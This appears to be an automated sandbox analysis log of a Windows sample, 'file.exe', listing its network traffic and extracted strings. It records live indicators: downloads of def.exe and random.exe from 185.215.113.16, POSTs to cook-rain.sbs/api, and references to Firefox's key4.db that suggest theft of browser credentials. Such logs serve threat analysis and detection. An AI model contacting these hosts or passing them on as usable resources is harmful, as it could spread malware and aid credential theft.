Source: global traffic	HTTP traffic detected: GET /rules/rule704201v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704200v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704151v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule226009v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704150v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16

Source: chromecache_151.6.dr, chromecache_163.6.dr	String found in binary or memory: href="https://www.facebook.com/sharer/sharer.php?u=${s}" equals www.facebook.com (Facebook)
Source: chromecache_151.6.dr, chromecache_163.6.dr	String found in binary or memory: href="https://www.linkedin.com/cws/share?url=${s}" equals www.linkedin.com (Linkedin)
Source: chromecache_151.6.dr, chromecache_163.6.dr	String found in binary or memory: </section>`}function Dce(e=tw,t=gp){return sl(M4,e,t)}function $ce(e=aw,t=sw){return sl(t4,e,t)}var vI=(s=>(s.facebook="facebook",s.twitter="twitter",s.linkedin="linkedin",s.email="email",s.weibo="weibo",s))(vI\|\|{}),LRe={facebook:"https://www.facebook.com/sharer/sharer.php?u={url}",twitter:"https://twitter.com/intent/tweet?original_referer={url}&text={achievementCopy}&tw_p=tweetbutton&url={url}",linkedin:"https://www.linkedin.com/feed/?shareActive=true&text={body}",email:"mailto:?subject={subject}&body={body}",weibo:"http://service.weibo.com/share/share.php?title={title}&url={url}"};function $x(e,t,o){let n=encodeURIComponent(t),r=new URL(e);r.hostname="learn.microsoft.com";let s=r.href+=(e.indexOf("?")!==-1?"&":"?")+"WT.mc_id=",i=L.sharingId?`&sharingId=${L.sharingId}`:"";return Object.values(vI).reduce((l,c)=>{if(_.data.isPermissioned)return l[c]="#",l;let d=encodeURIComponent(s+c+i),u=o?.achievementCopyTitle?.overrideTitle??t,p=encodeURIComponent(rQ.replace("{achievementTitle}",o?.achievementCopyTitle?.isUnquoted?`${u}`:`"${u}"`)),g={achievementCopy:p,url:d,title:n,body:`${p}${encodeURIComponent(` equals www.facebook.com (Facebook)
Source: chromecache_151.6.dr, chromecache_163.6.dr	String found in binary or memory: </section>`}function Dce(e=tw,t=gp){return sl(M4,e,t)}function $ce(e=aw,t=sw){return sl(t4,e,t)}var vI=(s=>(s.facebook="facebook",s.twitter="twitter",s.linkedin="linkedin",s.email="email",s.weibo="weibo",s))(vI\|\|{}),LRe={facebook:"https://www.facebook.com/sharer/sharer.php?u={url}",twitter:"https://twitter.com/intent/tweet?original_referer={url}&text={achievementCopy}&tw_p=tweetbutton&url={url}",linkedin:"https://www.linkedin.com/feed/?shareActive=true&text={body}",email:"mailto:?subject={subject}&body={body}",weibo:"http://service.weibo.com/share/share.php?title={title}&url={url}"};function $x(e,t,o){let n=encodeURIComponent(t),r=new URL(e);r.hostname="learn.microsoft.com";let s=r.href+=(e.indexOf("?")!==-1?"&":"?")+"WT.mc_id=",i=L.sharingId?`&sharingId=${L.sharingId}`:"";return Object.values(vI).reduce((l,c)=>{if(_.data.isPermissioned)return l[c]="#",l;let d=encodeURIComponent(s+c+i),u=o?.achievementCopyTitle?.overrideTitle??t,p=encodeURIComponent(rQ.replace("{achievementTitle}",o?.achievementCopyTitle?.isUnquoted?`${u}`:`"${u}"`)),g={achievementCopy:p,url:d,title:n,body:`${p}${encodeURIComponent(` equals www.linkedin.com (Linkedin)
Source: chromecache_151.6.dr, chromecache_163.6.dr	String found in binary or memory: </section>`}function Dce(e=tw,t=gp){return sl(M4,e,t)}function $ce(e=aw,t=sw){return sl(t4,e,t)}var vI=(s=>(s.facebook="facebook",s.twitter="twitter",s.linkedin="linkedin",s.email="email",s.weibo="weibo",s))(vI\|\|{}),LRe={facebook:"https://www.facebook.com/sharer/sharer.php?u={url}",twitter:"https://twitter.com/intent/tweet?original_referer={url}&text={achievementCopy}&tw_p=tweetbutton&url={url}",linkedin:"https://www.linkedin.com/feed/?shareActive=true&text={body}",email:"mailto:?subject={subject}&body={body}",weibo:"http://service.weibo.com/share/share.php?title={title}&url={url}"};function $x(e,t,o){let n=encodeURIComponent(t),r=new URL(e);r.hostname="learn.microsoft.com";let s=r.href+=(e.indexOf("?")!==-1?"&":"?")+"WT.mc_id=",i=L.sharingId?`&sharingId=${L.sharingId}`:"";return Object.values(vI).reduce((l,c)=>{if(_.data.isPermissioned)return l[c]="#",l;let d=encodeURIComponent(s+c+i),u=o?.achievementCopyTitle?.overrideTitle??t,p=encodeURIComponent(rQ.replace("{achievementTitle}",o?.achievementCopyTitle?.isUnquoted?`${u}`:`"${u}"`)),g={achievementCopy:p,url:d,title:n,body:`${p}${encodeURIComponent(` equals www.twitter.com (Twitter)

Source: global traffic	DNS traffic detected: DNS query: cook-rain.sbs
Source: global traffic	DNS traffic detected: DNS query: js.monitor.azure.com
Source: global traffic	DNS traffic detected: DNS query: mdec.nelreports.net
Source: global traffic	DNS traffic detected: DNS query: www.google.com

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: cook-rain.sbs

Source: file.exe, 00000000.00000003.2082889435.00000000014B8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/
Source: file.exe, 00000000.00000003.2082889435.00000000014B8000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2082970465.0000000001533000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe
Source: file.exe, 00000000.00000003.2082889435.00000000014B8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exeN
Source: file.exe, 00000000.00000003.2082889435.00000000014B8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe
Source: file.exe, 00000000.00000003.2082889435.00000000014A3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16:80/off/def.exe
Source: file.exe, 00000000.00000003.1864845084.0000000005F4D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: file.exe, 00000000.00000003.1864845084.0000000005F4D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: file.exe, 00000000.00000003.1864845084.0000000005F4D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: file.exe, 00000000.00000003.1864845084.0000000005F4D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: file.exe, 00000000.00000003.1864845084.0000000005F4D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: file.exe, 00000000.00000003.1864845084.0000000005F4D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: file.exe, 00000000.00000003.1864845084.0000000005F4D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: file.exe, 00000000.00000003.1864845084.0000000005F4D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: file.exe, 00000000.00000003.1864845084.0000000005F4D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: chromecache_151.6.dr, chromecache_163.6.dr	String found in binary or memory: http://polymer.github.io/AUTHORS.txt
Source: chromecache_151.6.dr, chromecache_163.6.dr	String found in binary or memory: http://polymer.github.io/CONTRIBUTORS.txt
Source: chromecache_151.6.dr, chromecache_163.6.dr	String found in binary or memory: http://polymer.github.io/LICENSE.txt
Source: chromecache_151.6.dr, chromecache_163.6.dr	String found in binary or memory: http://polymer.github.io/PATENTS.txt
Source: chromecache_171.6.dr	String found in binary or memory: http://schema.org/Organization
Source: file.exe, 00000000.00000003.1864845084.0000000005F4D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: file.exe, 00000000.00000003.1864845084.0000000005F4D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: file.exe, 00000000.00000003.1834677287.0000000005E6F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1834821415.0000000005E5A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1834978393.0000000005E5A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: chromecache_151.6.dr, chromecache_163.6.dr	String found in binary or memory: https://aka.ms/MSIgniteChallenge/Tier1Banner?wt.mc_id=ignite24_learnbanner_tier1_cnl
Source: chromecache_151.6.dr, chromecache_163.6.dr	String found in binary or memory: https://aka.ms/certhelp
Source: chromecache_171.6.dr, chromecache_135.6.dr, chromecache_172.6.dr	String found in binary or memory: https://aka.ms/feedback/report?space=61
Source: chromecache_151.6.dr, chromecache_163.6.dr	String found in binary or memory: https://aka.ms/msignite_docs_banner
Source: chromecache_151.6.dr, chromecache_163.6.dr	String found in binary or memory: https://aka.ms/pshelpmechoose
Source: chromecache_171.6.dr	String found in binary or memory: https://aka.ms/yourcaliforniaprivacychoices
Source: chromecache_171.6.dr	String found in binary or memory: https://authoring-docs-microsoft.poolparty.biz/devrel/69c76c32-967e-4c65-b89a-74cc527db725
Source: chromecache_171.6.dr	String found in binary or memory: https://authoring-docs-microsoft.poolparty.biz/devrel/7696cda6-0510-47f6-8302-71bb5d2e28cf
Source: chromecache_151.6.dr, chromecache_163.6.dr	String found in binary or memory: https://aznb-ame-prod.azureedge.net/component/$
Source: file.exe, 00000000.00000003.1867307906.000000000153E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.
Source: file.exe, 00000000.00000003.1867307906.000000000153E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta
Source: file.exe, 00000000.00000003.1834677287.0000000005E6F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1834821415.0000000005E5A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1834978393.0000000005E5A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000003.1834677287.0000000005E6F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1834821415.0000000005E5A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1834978393.0000000005E5A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000003.1834677287.0000000005E6F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1834821415.0000000005E5A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1834978393.0000000005E5A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: chromecache_151.6.dr, chromecache_163.6.dr	String found in binary or memory: https://channel9.msdn.com/
Source: chromecache_151.6.dr, chromecache_163.6.dr	String found in binary or memory: https://client-api.arkoselabs.com/v2/api.js
Source: file.exe, 00000000.00000003.1867307906.000000000153E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg
Source: file.exe, 00000000.00000003.1867307906.000000000153E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: file.exe, file.exe, 00000000.00000003.2082689370.000000000152C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2082970465.0000000001533000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/
Source: file.exe, 00000000.00000003.1884014660.000000000152D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1884360442.0000000001531000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1884409105.0000000001538000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/6r
Source: file.exe, 00000000.00000003.1884014660.000000000152D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1884360442.0000000001531000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/7j
Source: file.exe, 00000000.00000003.1884014660.000000000152D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1884360442.0000000001531000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/9x
Source: file.exe, 00000000.00000003.1884014660.000000000152D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1884360442.0000000001531000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1884409105.0000000001538000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/KlO
Source: file.exe, 00000000.00000003.1911881109.0000000001532000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2082689370.000000000152C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2082889435.00000000014B8000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2082970465.0000000001533000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/api
Source: file.exe, 00000000.00000003.1884014660.000000000152D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1884360442.0000000001531000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/apiY
Source: file.exe, 00000000.00000003.2082889435.00000000014B8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/apier
Source: file.exe, 00000000.00000003.1911881109.0000000001532000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1884014660.000000000152D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1884360442.0000000001531000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/oih
Source: file.exe, 00000000.00000003.1884014660.000000000152D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1884360442.0000000001531000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1884409105.0000000001538000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/rH
Source: file.exe, 00000000.00000003.2082771243.000000000150B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/zC
Source: file.exe, 00000000.00000003.2082889435.00000000014A3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs:443/api
Source: file.exe, 00000000.00000003.2082889435.00000000014A3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs:443/apirsion.txtPK
Source: file.exe, 00000000.00000003.2082889435.00000000014A3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs:443/apix/fqs92o4p.default-release/key4.dbPK
Source: file.exe, 00000000.00000003.2082889435.00000000014A3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs:443/apix2q
Source: file.exe, 00000000.00000003.1834677287.0000000005E6F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1834821415.0000000005E5A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1834978393.0000000005E5A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000000.00000003.1834677287.0000000005E6F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1834821415.0000000005E5A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1834978393.0000000005E5A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000003.1834677287.0000000005E6F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1834821415.0000000005E5A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1834978393.0000000005E5A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: chromecache_171.6.dr	String found in binary or memory: https://github.com/Thraka
Source: chromecache_171.6.dr	String found in binary or memory: https://github.com/Youssef1313
Source: chromecache_171.6.dr	String found in binary or memory: https://github.com/adegeo
Source: chromecache_171.6.dr	String found in binary or memory: https://github.com/dotnet/docs/blob/17c4acca45e573a92878a44a2cce57d699fe9c7c/docs/framework/install/
Source: chromecache_171.6.dr	String found in binary or memory: https://github.com/dotnet/docs/blob/live/docs/framework/install/application-not-started.md
Source: chromecache_171.6.dr	String found in binary or memory: https://github.com/dotnet/docs/blob/main/docs/framework/install/application-not-started.md
Source: chromecache_171.6.dr	String found in binary or memory: https://github.com/dotnet/docs/issues/new?template=z-customer-feedback.yml
Source: chromecache_151.6.dr, chromecache_163.6.dr	String found in binary or memory: https://github.com/dotnet/try
Source: chromecache_171.6.dr	String found in binary or memory: https://github.com/gewarren
Source: chromecache_151.6.dr, chromecache_163.6.dr	String found in binary or memory: https://github.com/jonschlinkert/is-plain-object
Source: chromecache_151.6.dr, chromecache_163.6.dr	String found in binary or memory: https://github.com/js-cookie/js-cookie
Source: chromecache_171.6.dr	String found in binary or memory: https://github.com/mairaw
Source: chromecache_171.6.dr	String found in binary or memory: https://github.com/nschonni
Source: file.exe, 00000000.00000003.1867307906.000000000153E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi
Source: chromecache_171.6.dr	String found in binary or memory: https://js.monitor.azure.com/scripts/c/ms.jsll-4.min.js
Source: chromecache_151.6.dr, chromecache_163.6.dr	String found in binary or memory: https://learn-video.azurefd.net/vod/player
Source: chromecache_151.6.dr, chromecache_163.6.dr	String found in binary or memory: https://management.azure.com/providers/Microsoft.Portal/consoles/default?api-version=2017-12-01-prev
Source: chromecache_151.6.dr, chromecache_163.6.dr	String found in binary or memory: https://management.azure.com/providers/Microsoft.Portal/userSettings/cloudconsole?api-version=2023-0
Source: chromecache_151.6.dr, chromecache_163.6.dr	String found in binary or memory: https://management.azure.com/subscriptions?api-version=2016-06-01
Source: chromecache_151.6.dr, chromecache_163.6.dr	String found in binary or memory: https://octokit.github.io/rest.js/#throttling
Source: chromecache_163.6.dr	String found in binary or memory: https://schema.org
Source: file.exe, 00000000.00000003.1834071063.0000000005E9E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.microsof
Source: file.exe, 00000000.00000003.1866589821.0000000006166000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: file.exe, 00000000.00000003.1866589821.0000000006166000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: file.exe, 00000000.00000003.1834071063.0000000005E9C000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1834153679.0000000005E95000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: file.exe, 00000000.00000003.1834153679.0000000005E70000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples
Source: file.exe, 00000000.00000003.1834071063.0000000005E9C000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1834153679.0000000005E95000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: file.exe, 00000000.00000003.1834153679.0000000005E70000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install
Source: chromecache_151.6.dr, chromecache_163.6.dr	String found in binary or memory: https://twitter.com/intent/tweet?original_referer=$
Source: chromecache_151.6.dr, chromecache_163.6.dr	String found in binary or memory: https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-09ce73a6-05a5-4e4d-b3d7-bd5a8c05
Source: chromecache_163.6.dr	String found in binary or memory: https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-b4da8140-92cf-421c-8b7b-e471d5b9
Source: file.exe, 00000000.00000003.1867307906.000000000153E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94
Source: file.exe, 00000000.00000003.1834677287.0000000005E6F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1834821415.0000000005E5A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1834978393.0000000005E5A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: file.exe, 00000000.00000003.1867307906.000000000153E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.expedia.com/?locale=en_US&siteid=1&semcid=US.UB.ADMARKETPLACE.GT-C-EN.HOTEL&SEMDTL=a1219
Source: file.exe, 00000000.00000003.1834677287.0000000005E6F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1834821415.0000000005E5A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1834978393.0000000005E5A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: chromecache_151.6.dr, chromecache_163.6.dr	String found in binary or memory: https://www.linkedin.com/cws/share?url=$
Source: file.exe, 00000000.00000003.1866589821.0000000006166000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: file.exe, 00000000.00000003.1866589821.0000000006166000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: file.exe, 00000000.00000003.1866589821.0000000006166000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: file.exe, 00000000.00000003.1866589821.0000000006166000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: file.exe, 00000000.00000003.1866589821.0000000006166000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49986
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49985
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49984
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49983
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49981
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49980
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49990 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49979
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49978
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49977
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49976
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49975
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49974
Source: unknown	Network traffic detected: HTTP traffic on port 50085 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49973
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49972
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 50039 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49971
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49970
Source: unknown	Network traffic detected: HTTP traffic on port 49967 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50074 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50004 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49943 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49969
Source: unknown	Network traffic detected: HTTP traffic on port 49978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49968
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49967
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49845
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49966
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49965
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49964
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49963
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49962
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49961
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49960
Source: unknown	Network traffic detected: HTTP traffic on port 50015 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50040 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49989 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50096 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50073 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49933 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50028 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49959
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49958
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
